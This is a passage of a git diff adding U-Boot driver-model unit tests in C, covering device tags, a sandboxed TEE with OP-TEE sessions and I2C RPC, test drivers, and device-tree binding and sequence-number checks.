+ ut_asserteq_ptr(&val, ptr);
+
+ ut_assertok(dev_tag_del(uts->root, DM_TAG_EFI));
+
+ return 0;
+}
+
+DM_TEST(dm_test_tag_ptr, 0);
+
+/*
+ * Test dm_tag_val() API
+ */
+static int dm_test_tag_val(struct unit_test_state *uts)
+{
+ ulong val1 = 0x12345678, val2 = 0;
+
+ ut_assertok(dev_tag_set_val(uts->root, DM_TAG_EFI, val1));
+
+ ut_assertok(dev_tag_get_val(uts->root, DM_TAG_EFI, &val2));
+
+ ut_asserteq_64(val1, val2);
+
+ ut_assertok(dev_tag_del(uts->root, DM_TAG_EFI));
+
+ return 0;
+}
+
+DM_TEST(dm_test_tag_val, 0);
+
+/*
+ * Test against an invalid tag
+ */
+static int dm_test_tag_inval(struct unit_test_state *uts)
+{
+ ulong val;
+
+ ut_asserteq(-EINVAL, dev_tag_set_ptr(uts->root, DM_TAG_COUNT, &val));
+
+ return 0;
+}
+
+DM_TEST(dm_test_tag_inval, 0);
+
+/*
+ * Test dm_tag_del_all() AP:
+ */
+static int dm_test_tag_del_all(struct unit_test_state *uts)
+{
+ ulong val;
+
+ ut_assertok(dev_tag_set_ptr(uts->root, DM_TAG_EFI, &val));
+
+ ut_assertok(dev_tag_del_all(uts->root));
+
+ return 0;
+}
+
+DM_TEST(dm_test_tag_del_all, 0);
diff --git a/test/dm/tee.c b/test/dm/tee.c
new file mode 100644
index 00000000000..bb02a9b3c98
--- /dev/null
+++ b/test/dm/tee.c
@@ -0,0 +1,219 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (C) 2018 Linaro Limited
+ */
+
+#include <dm.h>
+#include <log.h>
+#include <malloc.h>
+#include <dm/test.h>
+#include <sandboxtee.h>
+#include <tee.h>
+#include <test/test.h>
+#include <test/ut.h>
+#include <tee/optee_ta_avb.h>
+#include <tee/optee_ta_rpc_test.h>
+
+static int open_session(struct udevice *dev, u32 *session,
+ struct tee_optee_ta_uuid *uuid)
+{
+ struct tee_open_session_arg arg;
+ int rc;
+
+ memset(&arg, 0, sizeof(arg));
+ tee_optee_ta_uuid_to_octets(arg.uuid, uuid);
+ rc = tee_open_session(dev, &arg, 0, NULL);
+ if (rc)
+ return rc;
+ if (arg.ret)
+ return -EIO;
+ *session = arg.session;
+
+ return 0;
+}
+
+static int invoke_func_avb(struct udevice *dev, u32 session)
+{
+ struct tee_param param = { .attr = TEE_PARAM_ATTR_TYPE_VALUE_OUTPUT };
+ struct tee_invoke_arg arg;
+
+ memset(&arg, 0, sizeof(arg));
+ arg.session = session;
+ arg.func = TA_AVB_CMD_READ_LOCK_STATE;
+
+ if (tee_invoke_func(dev, &arg, 1, &param) || arg.ret)
+ return -1;
+
+ return 0;
+}
+
+static int invoke_func_rpc_test(struct udevice *dev, u32 session,
+ u64 op, u64 busnum, u64 chip_addr,
+ u64 xfer_flags, u8 *buf, size_t buf_size)
+{
+ struct tee_param param[2];
+ struct tee_invoke_arg arg;
+ struct tee_shm *shm_buf;
+ int rc;
+
+ memset(&arg, 0, sizeof(arg));
+ arg.session = session;
+ arg.func = op;
+
+ rc = tee_shm_alloc(dev, buf_size,
+ TEE_SHM_ALLOC, &shm_buf);
+ if (rc)
+ return rc;
+
+ if (op == TA_RPC_TEST_CMD_I2C_WRITE)
+ memcpy(shm_buf->addr, buf, buf_size);
+
+ memset(param, 0, sizeof(param));
+ param[0].attr = TEE_PARAM_ATTR_TYPE_VALUE_INPUT;
+ param[0].u.value.a = busnum;
+ param[0].u.value.b = chip_addr;
+ param[0].u.value.c = xfer_flags;
+ param[1].attr = TEE_PARAM_ATTR_TYPE_MEMREF_INOUT;
+ param[1].u.memref.shm = shm_buf;
+ param[1].u.memref.size = buf_size;
+
+ if (tee_invoke_func(dev, &arg, 2, param) || arg.ret) {
+ rc = -1;
+ goto out;
+ }
+
+ if (op == TA_RPC_TEST_CMD_I2C_READ)
+ memcpy(buf, shm_buf->addr, buf_size);
+out:
+ tee_shm_free(shm_buf);
+ return rc;
+}
+
+static int match(struct tee_version_data *vers, const void *data)
+{
+ return vers->gen_caps & TEE_GEN_CAP_GP;
+}
+
+struct test_tee_vars {
+ struct tee_shm *reg_shm;
+ struct tee_shm *alloc_shm;
+};
+
+static int test_tee(struct unit_test_state *uts, struct test_tee_vars *vars)
+{
+ struct tee_version_data vers;
+ struct udevice *dev;
+ struct sandbox_tee_state *state;
+ struct tee_optee_ta_uuid avb_uuid = TA_AVB_UUID;
+ u32 session = 0;
+ int rc;
+ u8 data[128];
+
+ dev = tee_find_device(NULL, match, NULL, &vers);
+ ut_assert(dev);
+ state = dev_get_priv(dev);
+ ut_assert(!state->session);
+
+ rc = open_session(dev, &session, &avb_uuid);
+ ut_assert(!rc);
+ ut_assert(session == state->session);
+
+ rc = invoke_func_avb(dev, session);
+ ut_assert(!rc);
+
+ rc = tee_close_session(dev, session);
+ ut_assert(!rc);
+ ut_assert(!state->session);
+
+ ut_assert(!state->num_shms);
+ rc = tee_shm_register(dev, data, sizeof(data), 0, &vars->reg_shm);
+ ut_assert(!rc);
+ ut_assert(state->num_shms == 1);
+
+ rc = tee_shm_alloc(dev, 256, 0, &vars->alloc_shm);
+ ut_assert(!rc);
+ ut_assert(state->num_shms == 2);
+
+ ut_assert(tee_shm_is_registered(vars->reg_shm, dev));
+ ut_assert(tee_shm_is_registered(vars->alloc_shm, dev));
+
+ tee_shm_free(vars->reg_shm);
+ vars->reg_shm = NULL;
+ tee_shm_free(vars->alloc_shm);
+ vars->alloc_shm = NULL;
+ ut_assert(!state->num_shms);
+
+ return rc;
+}
+
+#define I2C_BUF_SIZE 64
+
+static int test_tee_rpc(struct unit_test_state *uts)
+{
+ struct tee_version_data vers;
+ struct udevice *dev;
+ struct sandbox_tee_state *state;
+ struct tee_optee_ta_uuid rpc_test_uuid = TA_RPC_TEST_UUID;
+ u32 session = 0;
+ int rc;
+
+ char *test_str = "Test string";
+ u8 data[I2C_BUF_SIZE] = {0};
+ u8 data_from_eeprom[I2C_BUF_SIZE] = {0};
+
+ /* Use sandbox I2C EEPROM emulation; bus: 0, chip: 0x2c */
+ u64 bus = 0;
+ u64 chip = 0x2c;
+ u64 xfer_flags = 0;
+
+ dev = tee_find_device(NULL, match, NULL, &vers);
+ ut_assert(dev);
+ state = dev_get_priv(dev);
+ ut_assert(!state->session);
+
+ /* Test RPC call asking for I2C service */
+ rc = open_session(dev, &session, &rpc_test_uuid);
+ ut_assert(!rc);
+ ut_assert(session == state->session);
+
+ /* Write buffer */
+ strncpy((char *)data, test_str, strlen(test_str));
+ rc = invoke_func_rpc_test(dev, session, TA_RPC_TEST_CMD_I2C_WRITE,
+ bus, chip, xfer_flags, data, sizeof(data));
+ ut_assert(!rc);
+
+ /* Read buffer */
+ rc = invoke_func_rpc_test(dev, session, TA_RPC_TEST_CMD_I2C_READ,
+ bus, chip, xfer_flags, data_from_eeprom,
+ sizeof(data_from_eeprom));
+ ut_assert(!rc);
+
+ /* Compare */
+ ut_assert(!memcmp(data, data_from_eeprom, sizeof(data)));
+
+ rc = tee_close_session(dev, session);
+ ut_assert(!rc);
+ ut_assert(!state->session);
+
+ return rc;
+}
+
+static int dm_test_tee(struct unit_test_state *uts)
+{
+ struct test_tee_vars vars = { NULL, NULL };
+ int rc = test_tee(uts, &vars);
+
+ if (rc)
+ goto out;
+
+ if (IS_ENABLED(CONFIG_OPTEE_TA_RPC_TEST))
+ rc = test_tee_rpc(uts);
+out:
+ /* In case test_tee() asserts these may still remain allocated */
+ tee_shm_free(vars.reg_shm);
+ tee_shm_free(vars.alloc_shm);
+
+ return rc;
+}
+
+DM_TEST(dm_test_tee, UT_TESTF_SCAN_FDT);
diff --git a/test/dm/test-dm.c b/test/dm/test-dm.c
new file mode 100644
index 00000000000..4bc2c45db61
--- /dev/null
+++ b/test/dm/test-dm.c
@@ -0,0 +1,16 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (c) 2013 Google, Inc
+ */
+
+#include <test/suites.h>
+#include <test/test.h>
+
+int do_ut_dm(struct cmd_tbl *cmdtp, int flag, int argc, char *const argv[])
+{
+ struct unit_test *tests = UNIT_TEST_SUITE_START(dm_test);
+ const int n_ents = UNIT_TEST_SUITE_COUNT(dm_test);
+
+ return cmd_ut_category("driver model", "dm_test_", tests, n_ents, argc,
+ argv);
+}
diff --git a/test/dm/test-driver.c b/test/dm/test-driver.c
new file mode 100644
index 00000000000..851177c3018
--- /dev/null
+++ b/test/dm/test-driver.c
@@ -0,0 +1,199 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (c) 2013 Google, Inc
+ *
+ * (C) Copyright 2012
+ * Pavel Herrmann <morpheus.ibis@gmail.com>
+ */
+
+#include <dm.h>
+#include <errno.h>
+#include <log.h>
+#include <malloc.h>
+#include <asm/io.h>
+#include <dm/device-internal.h>
+#include <dm/test.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+int dm_testdrv_op_count[DM_TEST_OP_COUNT];
+
+static int testdrv_ping(struct udevice *dev, int pingval, int *pingret)
+{
+ const struct dm_test_pdata *pdata = dev_get_plat(dev);
+ struct dm_test_priv *priv = dev_get_priv(dev);
+
+ *pingret = pingval + pdata->ping_add;
+ priv->ping_total += *pingret;
+
+ return 0;
+}
+
+static const struct test_ops test_ops = {
+ .ping = testdrv_ping,
+};
+
+static int test_bind(struct udevice *dev)
+{
+ struct unit_test_state *uts = test_get_state();
+
+ /* Private data should not be allocated */
+ ut_assert(!dev_get_priv(dev));
+
+ dm_testdrv_op_count[DM_TEST_OP_BIND]++;
+ return 0;
+}
+
+static int test_probe(struct udevice *dev)
+{
+ struct unit_test_state *uts = test_get_state();
+ struct dm_test_priv *priv = dev_get_priv(dev);
+
+ /* Private data should be allocated */
+ ut_assert(priv);
+
+ dm_testdrv_op_count[DM_TEST_OP_PROBE]++;
+ priv->ping_total += DM_TEST_START_TOTAL;
+ return 0;
+}
+
+static int test_remove(struct udevice *dev)
+{
+ struct unit_test_state *uts = test_get_state();
+
+ /* Private data should still be allocated */
+ ut_assert(dev_get_priv(dev));
+
+ dm_testdrv_op_count[DM_TEST_OP_REMOVE]++;
+ return 0;
+}
+
+static int test_unbind(struct udevice *dev)
+{
+ struct unit_test_state *uts = test_get_state();
+
+ /* Private data should not be allocated */
+ ut_assert(!dev_get_priv(dev));
+
+ dm_testdrv_op_count[DM_TEST_OP_UNBIND]++;
+ return 0;
+}
+
+U_BOOT_DRIVER(test_drv) = {
+ .name = "test_drv",
+ .id = UCLASS_TEST,
+ .ops = &test_ops,
+ .bind = test_bind,
+ .probe = test_probe,
+ .remove = test_remove,
+ .unbind = test_unbind,
+ .priv_auto = sizeof(struct dm_test_priv),
+};
+
+U_BOOT_DRIVER(test2_drv) = {
+ .name = "test2_drv",
+ .id = UCLASS_TEST,
+ .ops = &test_ops,
+ .bind = test_bind,
+ .probe = test_probe,
+ .remove = test_remove,
+ .unbind = test_unbind,
+ .priv_auto = sizeof(struct dm_test_priv),
+};
+
+static int test_manual_drv_ping(struct udevice *dev, int pingval, int *pingret)
+{
+ *pingret = pingval + 2;
+
+ return 0;
+}
+
+static const struct test_ops test_manual_ops = {
+ .ping = test_manual_drv_ping,
+};
+
+static int test_manual_bind(struct udevice *dev)
+{
+ dm_testdrv_op_count[DM_TEST_OP_BIND]++;
+
+ return 0;
+}
+
+static int test_manual_probe(struct udevice *dev)
+{
+ struct unit_test_state *uts = test_get_state();
+
+ dm_testdrv_op_count[DM_TEST_OP_PROBE]++;
+ if (!uts->force_fail_alloc)
+ dev_set_priv(dev, calloc(1, sizeof(struct dm_test_priv)));
+ if (!dev_get_priv(dev))
+ return -ENOMEM;
+
+ return 0;
+}
+
+static int test_manual_remove(struct udevice *dev)
+{
+ dm_testdrv_op_count[DM_TEST_OP_REMOVE]++;
+ return 0;
+}
+
+static int test_manual_unbind(struct udevice *dev)
+{
+ dm_testdrv_op_count[DM_TEST_OP_UNBIND]++;
+ return 0;
+}
+
+U_BOOT_DRIVER(test_manual_drv) = {
+ .name = "test_manual_drv",
+ .id = UCLASS_TEST,
+ .ops = &test_manual_ops,
+ .bind = test_manual_bind,
+ .probe = test_manual_probe,
+ .remove = test_manual_remove,
+ .unbind = test_manual_unbind,
+};
+
+U_BOOT_DRIVER(test_pre_reloc_drv) = {
+ .name = "test_pre_reloc_drv",
+ .id = UCLASS_TEST,
+ .ops = &test_manual_ops,
+ .bind = test_manual_bind,
+ .probe = test_manual_probe,
+ .remove = test_manual_remove,
+ .unbind = test_manual_unbind,
+ .flags = DM_FLAG_PRE_RELOC,
+};
+
+U_BOOT_DRIVER(test_act_dma_drv) = {
+ .name = "test_act_dma_drv",
+ .id = UCLASS_TEST,
+ .ops = &test_manual_ops,
+ .bind = test_manual_bind,
+ .probe = test_manual_probe,
+ .remove = test_manual_remove,
+ .unbind = test_manual_unbind,
+ .flags = DM_FLAG_ACTIVE_DMA,
+};
+
+U_BOOT_DRIVER(test_vital_clk_drv) = {
+ .name = "test_vital_clk_drv",
+ .id = UCLASS_TEST,
+ .ops = &test_manual_ops,
+ .bind = test_manual_bind,
+ .probe = test_manual_probe,
+ .remove = test_manual_remove,
+ .unbind = test_manual_unbind,
+ .flags = DM_FLAG_VITAL,
+};
+
+U_BOOT_DRIVER(test_act_dma_vital_clk_drv) = {
+ .name = "test_act_dma_vital_clk_drv",
+ .id = UCLASS_TEST,
+ .ops = &test_manual_ops,
+ .bind = test_manual_bind,
+ .probe = test_manual_probe,
+ .remove = test_manual_remove,
+ .unbind = test_manual_unbind,
+ .flags = DM_FLAG_VITAL | DM_FLAG_ACTIVE_DMA,
+};
diff --git a/test/dm/test-fdt.c b/test/dm/test-fdt.c
new file mode 100644
index 00000000000..18c89eef43f
--- /dev/null
+++ b/test/dm/test-fdt.c
@@ -0,0 +1,1228 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright (c) 2013 Google, Inc
+ */
+
+#include <dm.h>
+#include <errno.h>
+#include <fdtdec.h>
+#include <log.h>
+#include <malloc.h>
+#include <asm/global_data.h>
+#include <asm/io.h>
+#include <dm/test.h>
+#include <dm/read.h>
+#include <dm/root.h>
+#include <dm/device-internal.h>
+#include <dm/devres.h>
+#include <dm/uclass-internal.h>
+#include <dm/util.h>
+#include <dm/of_access.h>
+#include <linux/ioport.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+DECLARE_GLOBAL_DATA_PTR;
+
+struct dm_testprobe_pdata {
+ int probe_err;
+};
+
+static int testprobe_drv_probe(struct udevice *dev)
+{
+ struct dm_testprobe_pdata *pdata = dev_get_plat(dev);
+
+ return pdata->probe_err;
+}
+
+static const struct udevice_id testprobe_ids[] = {
+ { .compatible = "denx,u-boot-probe-test" },
+ { }
+};
+
+U_BOOT_DRIVER(testprobe_drv) = {
+ .name = "testprobe_drv",
+ .of_match = testprobe_ids,
+ .id = UCLASS_TEST_PROBE,
+ .probe = testprobe_drv_probe,
+ .plat_auto = sizeof(struct dm_testprobe_pdata),
+};
+
+UCLASS_DRIVER(testprobe) = {
+ .name = "testprobe",
+ .id = UCLASS_TEST_PROBE,
+ .flags = DM_UC_FLAG_SEQ_ALIAS,
+};
+
+struct dm_testdevres_pdata {
+ void *ptr;
+};
+
+struct dm_testdevres_priv {
+ void *ptr;
+ void *ptr_ofdata;
+};
+
+static int testdevres_drv_bind(struct udevice *dev)
+{
+ struct dm_testdevres_pdata *pdata = dev_get_plat(dev);
+
+ pdata->ptr = devm_kmalloc(dev, TEST_DEVRES_SIZE, 0);
+
+ return 0;
+}
+
+static int testdevres_drv_of_to_plat(struct udevice *dev)
+{
+ struct dm_testdevres_priv *priv = dev_get_priv(dev);
+
+ priv->ptr_ofdata = devm_kmalloc(dev, TEST_DEVRES_SIZE3, 0);
+
+ return 0;
+}
+
+static int testdevres_drv_probe(struct udevice *dev)
+{
+ struct dm_testdevres_priv *priv = dev_get_priv(dev);
+
+ priv->ptr = devm_kmalloc(dev, TEST_DEVRES_SIZE2, 0);
+
+ return 0;
+}
+
+static const struct udevice_id testdevres_ids[] = {
+ { .compatible = "denx,u-boot-devres-test" },
+ { }
+};
+
+U_BOOT_DRIVER(testdevres_drv) = {
+ .name = "testdevres_drv",
+ .of_match = testdevres_ids,
+ .id = UCLASS_TEST_DEVRES,
+ .bind = testdevres_drv_bind,
+ .of_to_plat = testdevres_drv_of_to_plat,
+ .probe = testdevres_drv_probe,
+ .plat_auto = sizeof(struct dm_testdevres_pdata),
+ .priv_auto = sizeof(struct dm_testdevres_priv),
+};
+
+UCLASS_DRIVER(testdevres) = {
+ .name = "testdevres",
+ .id = UCLASS_TEST_DEVRES,
+ .flags = DM_UC_FLAG_SEQ_ALIAS,
+};
+
+int dm_check_devices(struct unit_test_state *uts, int num_devices)
+{
+ struct udevice *dev;
+ int ret;
+ int i;
+
+ /*
+ * Now check that the ping adds are what we expect. This is using the
+ * ping-add property in each node.
+ */
+ for (i = 0; i < num_devices; i++) {
+ uint32_t base;
+
+ ret = uclass_get_device(UCLASS_TEST_FDT, i, &dev);
+ ut_assert(!ret);
+
+ /*
+ * Get the 'ping-expect' property, which tells us what the
+ * ping add should be. We don't use the plat because we
+ * want to test the code that sets that up
+ * (testfdt_drv_probe()).
+ */
+ base = fdtdec_get_int(gd->fdt_blob, dev_of_offset(dev),
+ "ping-expect", -1);
+ debug("dev=%d, base=%d: %s\n", i, base,
+ fdt_get_name(gd->fdt_blob, dev_of_offset(dev), NULL));
+
+ ut_assert(!dm_check_operations(uts, dev, base,
+ dev_get_priv(dev)));
+ }
+
+ return 0;
+}
+
+/* Test that FDT-based binding works correctly */
+static int dm_test_fdt(struct unit_test_state *uts)
+{
+ const int num_devices = 9;
+ struct udevice *dev;
+ struct uclass *uc;
+ int ret;
+ int i;
+
+ ret = dm_extended_scan(false);
+ ut_assert(!ret);
+
+ ret = uclass_get(UCLASS_TEST_FDT, &uc);
+ ut_assert(!ret);
+
+ /* These are num_devices compatible root-level device tree nodes */
+ ut_asserteq(num_devices, list_count_items(&uc->dev_head));
+
+ /* Each should have platform data but no private data */
+ for (i = 0; i < num_devices; i++) {
+ ret = uclass_find_device(UCLASS_TEST_FDT, i, &dev);
+ ut_assert(!ret);
+ ut_assert(!dev_get_priv(dev));
+ ut_assert(dev_get_plat(dev));
+ }
+
+ ut_assertok(dm_check_devices(uts, num_devices));
+
+ return 0;
+}
+DM_TEST(dm_test_fdt, 0);
+
+static int dm_test_alias_highest_id(struct unit_test_state *uts)
+{
+ int ret;
+
+ ret = dev_read_alias_highest_id("ethernet");
+ ut_asserteq(8, ret);
+
+ ret = dev_read_alias_highest_id("gpio");
+ ut_asserteq(3, ret);
+
+ ret = dev_read_alias_highest_id("pci");
+ ut_asserteq(2, ret);
+
+ ret = dev_read_alias_highest_id("i2c");
+ ut_asserteq(0, ret);
+
+ ret = dev_read_alias_highest_id("deadbeef");
+ ut_asserteq(-1, ret);
+
+ return 0;
+}
+DM_TEST(dm_test_alias_highest_id, 0);
+
+static int dm_test_fdt_pre_reloc(struct unit_test_state *uts)
+{
+ struct uclass *uc;
+ int ret;
+
+ ret = dm_scan_fdt(true);
+ ut_assert(!ret);
+
+ ret = uclass_get(UCLASS_TEST_FDT, &uc);
+ ut_assert(!ret);
+
+ /*
+ * These are 2 pre-reloc devices:
+ * one with "bootph-all" property (a-test node), and the other
+ * one whose driver marked with DM_FLAG_PRE_RELOC flag (h-test node).
+ */
+ ut_asserteq(2, list_count_items(&uc->dev_head));
+
+ return 0;
+}
+DM_TEST(dm_test_fdt_pre_reloc, 0);
+
+/* Test that sequence numbers are allocated properly */
+static int dm_test_fdt_uclass_seq(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ /* A few basic santiy tests */
+ ut_assertok(uclass_find_device_by_seq(UCLASS_TEST_FDT, 3, &dev));
+ ut_asserteq_str("b-test", dev->name);
+ ut_asserteq(3, dev_seq(dev));
+
+ ut_assertok(uclass_find_device_by_seq(UCLASS_TEST_FDT, 8, &dev));
+ ut_asserteq_str("a-test", dev->name);
+ ut_asserteq(8, dev_seq(dev));
+
+ /*
+ * This device has no alias so gets the next value after all available
+ * aliases. The last alias is testfdt12
+ */
+ ut_assertok(uclass_find_device_by_seq(UCLASS_TEST_FDT, 13, &dev));
+ ut_asserteq_str("d-test", dev->name);
+ ut_asserteq(13, dev_seq(dev));
+
+ ut_asserteq(-ENODEV, uclass_find_device_by_seq(UCLASS_TEST_FDT, 9,
+ &dev));
+ ut_asserteq_ptr(NULL, dev);
+
+ /* Test aliases */
+ ut_assertok(uclass_get_device_by_seq(UCLASS_TEST_FDT, 6, &dev));
+ ut_asserteq_str("e-test", dev->name);
+ ut_asserteq(6, dev_seq(dev));
+
+ /*
+ * Note that c-test nodes are not probed since it is not a top-level
+ * node
+ */
+ ut_assertok(uclass_get_device_by_seq(UCLASS_TEST_FDT, 3, &dev));
+ ut_asserteq_str("b-test", dev->name);
+ ut_asserteq(3, dev_seq(dev));
+
+ /*
+ * d-test wants sequence number 3 also, but it can't have it because
+ * b-test gets it first.
+ */
+ ut_assertok(uclass_get_device(UCLASS_TEST_FDT, 2, &dev));
+ ut_asserteq_str("d-test", dev->name);
+ ut_asserteq(13, dev_seq(dev));
+
+ /* g-test gets the next value after f-test */
+ ut_assertok(uclass_get_device_by_seq(UCLASS_TEST_FDT, 15, &dev));
+ ut_asserteq_str("g-test", dev->name);
+ ut_asserteq(15, dev_seq(dev));
+
+ /* And we should still have holes in our sequence numbers */
+ ut_asserteq(-ENODEV, uclass_find_device_by_seq(UCLASS_TEST_FDT, 0,
+ &dev));
+ ut_asserteq(-ENODEV, uclass_find_device_by_seq(UCLASS_TEST_FDT, 1,
+ &dev));
+ ut_asserteq(-ENODEV, uclass_find_device_by_seq(UCLASS_TEST_FDT, 2,
+ &dev));
+ ut_asserteq(-ENODEV, uclass_find_device_by_seq(UCLASS_TEST_FDT, 4,
+ &dev));
+ ut_asserteq(-ENODEV, uclass_find_device_by_seq(UCLASS_TEST_FDT, 7,
+ &dev));
+ ut_asserteq(-ENODEV, uclass_find_device_by_seq(UCLASS_TEST_FDT, 9,
+ &dev));
+ ut_asserteq(-ENODEV, uclass_find_device_by_seq(UCLASS_TEST_FDT, 10,
+ &dev));
+ ut_asserteq(-ENODEV, uclass_find_device_by_seq(UCLASS_TEST_FDT, 11,
+ &dev));
+
+ return 0;
+}
+DM_TEST(dm_test_fdt_uclass_seq, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* More tests for sequence numbers */
+static int dm_test_fdt_uclass_seq_manual(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+
+ /*
+ * Since DM_UC_FLAG_NO_AUTO_SEQ is set for this uclass, only testfdtm1
+ * should get a sequence number assigned
+ */
+ ut_assertok(uclass_get_device(UCLASS_TEST_FDT_MANUAL, 0, &dev));
+ ut_asserteq_str("testfdtm0", dev->name);
+ ut_asserteq(-1, dev_seq(dev));
+
+ ut_assertok(uclass_get_device_by_seq(UCLASS_TEST_FDT_MANUAL, 1, &dev));
+ ut_asserteq_str("testfdtm1", dev->name);
+ ut_asserteq(1, dev_seq(dev));
+
+ ut_assertok(uclass_get_device(UCLASS_TEST_FDT_MANUAL, 2, &dev));
+ ut_asserteq_str("testfdtm2", dev->name);
+ ut_asserteq(-1, dev_seq(dev));
+
+ return 0;
+}
+DM_TEST(dm_test_fdt_uclass_seq_manual, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+static int dm_test_fdt_uclass_seq_more(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ ofnode node;
+
+ /* Check creating a device with an alias */
+ node = ofnode_path("/some-bus/c-test@1");
+ ut_assertok(device_bind(dm_root(), DM_DRIVER_GET(denx_u_boot_fdt_test),
+ "c-test@1", NULL, node, &dev));
+ ut_asserteq(12, dev_seq(dev));
+ ut_assertok(uclass_get_device_by_seq(UCLASS_TEST_FDT, 12, &dev));
+ ut_asserteq_str("c-test@1", dev->name);
+
+ /*
+ * Now bind a device without an alias. It should not get the next
+ * sequence number after all aliases, and existing bound devices. The
+ * last alias is 12, so we have:
+ *
+ * 13 d-test
+ * 14 f-test
+ * 15 g-test
+ * 16 h-test
+ * 17 another-test
+ * 18 chosen-test
+ *
+ * So next available is 19
+ */
+ ut_assertok(device_bind(dm_root(), DM_DRIVER_GET(denx_u_boot_fdt_test),
+ "fred", NULL, ofnode_null(), &dev));
+ ut_asserteq(19, dev_seq(dev));
+
+ ut_assertok(device_bind(dm_root(), DM_DRIVER_GET(denx_u_boot_fdt_test),
+ "fred2", NULL, ofnode_null(), &dev));
+ ut_asserteq(20, dev_seq(dev));
+
+ return 0;
+}
+DM_TEST(dm_test_fdt_uclass_seq_more, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test that we can find a device by device tree offset */
+static int dm_test_fdt_offset(struct unit_test_state *uts)
+{
+ const void *blob = gd->fdt_blob;
+ struct udevice *dev;
+ int node;
+
+ node = fdt_path_offset(blob, "/e-test");
+ ut_assert(node > 0);
+ ut_assertok(uclass_get_device_by_of_offset(UCLASS_TEST_FDT, node,
+ &dev));
+ ut_asserteq_str("e-test", dev->name);
+
+ /* This node should not be bound */
+ node = fdt_path_offset(blob, "/junk");
+ ut_assert(node > 0);
+ ut_asserteq(-ENODEV, uclass_get_device_by_of_offset(UCLASS_TEST_FDT,
+ node, &dev));
+
+ /* This is not a top level node so should not be probed */
+ node = fdt_path_offset(blob, "/some-bus/c-test@5");
+ ut_assert(node > 0);
+ ut_asserteq(-ENODEV, uclass_get_device_by_of_offset(UCLASS_TEST_FDT,
+ node, &dev));
+
+ return 0;
+}
+DM_TEST(dm_test_fdt_offset,
+ UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT | UT_TESTF_FLAT_TREE);
+
+/**
+ * Test various error conditions with uclass_first_device(),
+ * uclass_next_device(), and uclass_probe_all()
+ */
+static int dm_test_first_next_device_probeall(struct unit_test_state *uts)
+{
+ struct dm_testprobe_pdata *pdata;
+ struct udevice *dev, *parent = NULL;
+ int count;
+ int ret;
+
+ /* There should be 4 devices */
+ for (uclass_first_device(UCLASS_TEST_PROBE, &dev), count = 0;
+ dev;
+ uclass_next_device(&dev)) {
+ count++;
+ parent = dev_get_parent(dev);
+ }
+ ut_asserteq(4, count);
+
+ /* Remove them and try again, with an error on the second one */
+ ut_assertok(uclass_get_device(UCLASS_TEST_PROBE, 1, &dev));
+ pdata = dev_get_plat(dev);
+ pdata->probe_err = -ENOMEM;
+ device_remove(parent, DM_REMOVE_NORMAL);
+ for (ret = uclass_first_device_check(UCLASS_TEST_PROBE, &dev),
+ count = 0;
+ dev;
+ ret = uclass_next_device_check(&dev)) {
+ if (!ret)
+ count++;
+ else
+ ut_asserteq(-ENOMEM, ret);
+ parent = dev_get_parent(dev);
+ }
+ ut_asserteq(3, count);
+
+ /* Now an error on the first one */
+ ut_assertok(uclass_get_device(UCLASS_TEST_PROBE, 0, &dev));
+ pdata = dev_get_plat(dev);
+ pdata->probe_err = -ENOENT;
+ device_remove(parent, DM_REMOVE_NORMAL);
+ for (uclass_first_device(UCLASS_TEST_PROBE, &dev), count = 0;
+ dev;
+ uclass_next_device(&dev)) {
+ count++;
+ parent = dev_get_parent(dev);
+ }
+ ut_asserteq(2, count);
+
+ /* Now that broken devices are set up test probe_all */
+ device_remove(parent, DM_REMOVE_NORMAL);
+ /* There are broken devices so an error should be returned */
+ ut_assert(uclass_probe_all(UCLASS_TEST_PROBE) < 0);
+ /* but non-error device should be probed nonetheless */
+ ut_assertok(uclass_get_device(UCLASS_TEST_PROBE, 2, &dev));
+ ut_assert(dev_get_flags(dev) & DM_FLAG_ACTIVATED);
+ ut_assertok(uclass_get_device(UCLASS_TEST_PROBE, 3, &dev));
+ ut_assert(dev_get_flags(dev) & DM_FLAG_ACTIVATED);
+
+ return 0;
+}
+DM_TEST(dm_test_first_next_device_probeall,
+ UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/* Test iteration through devices in a uclass */
+static int dm_test_uclass_foreach(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ struct uclass *uc;
+ int count;
+
+ count = 0;
+ uclass_id_foreach_dev(UCLASS_TEST_FDT, dev, uc)
+ count++;
+ ut_asserteq(9, count);
+
+ count = 0;
+ uclass_foreach_dev(dev, uc)
+ count++;
+ ut_asserteq(9, count);
+
+ return 0;
+}
+DM_TEST(dm_test_uclass_foreach, UT_TESTF_SCAN_PDATA | UT_TESTF_SCAN_FDT);
+
+/**
+ * check_devices() - Check return values and pointers
+ *
+ * This runs through a full sequence of uclass_first_device_check()...
+ * uclass_next_device_check() checking that the return values and devices
+ * are correct.
+ *
+ * @uts: Test state
+ * @devlist: List of expected devices
+ * @mask: Indicates which devices should return an error. Device n should
+ * return error (-NOENT - n) if bit n is set, or no error (i.e. 0) if
+ * bit n is clear.
+ */
+static int check_devices(struct unit_test_state *uts,
+ struct udevice *devlist[], int mask)
+{
+ int expected_ret;
+ struct udevice *dev;
+ int i;
+
+ expected_ret = (mask & 1) ? -ENOENT : 0;
+ mask >>= 1;
+ ut_asserteq(expected_ret,
+ uclass_first_device_check(UCLASS_TEST_PROBE, &dev));
+ for (i = 0; i < 4; i++) {
+ ut_asserteq_ptr(devlist[i], dev);
+ expected_ret = (mask & 1) ? -ENOENT - (i + 1) : 0;
+ mask >>= 1;
+ ut_asserteq(expected_ret, uclass_next_device_check(&dev));
+ }
+ ut_asserteq_ptr(NULL, dev);
+
+ return 0;
+}
+
+/* Test uclass_first_device_check() and uclass_next_device_check() */
+static int dm_test_first_next_ok_device(struct unit_test_state *uts)
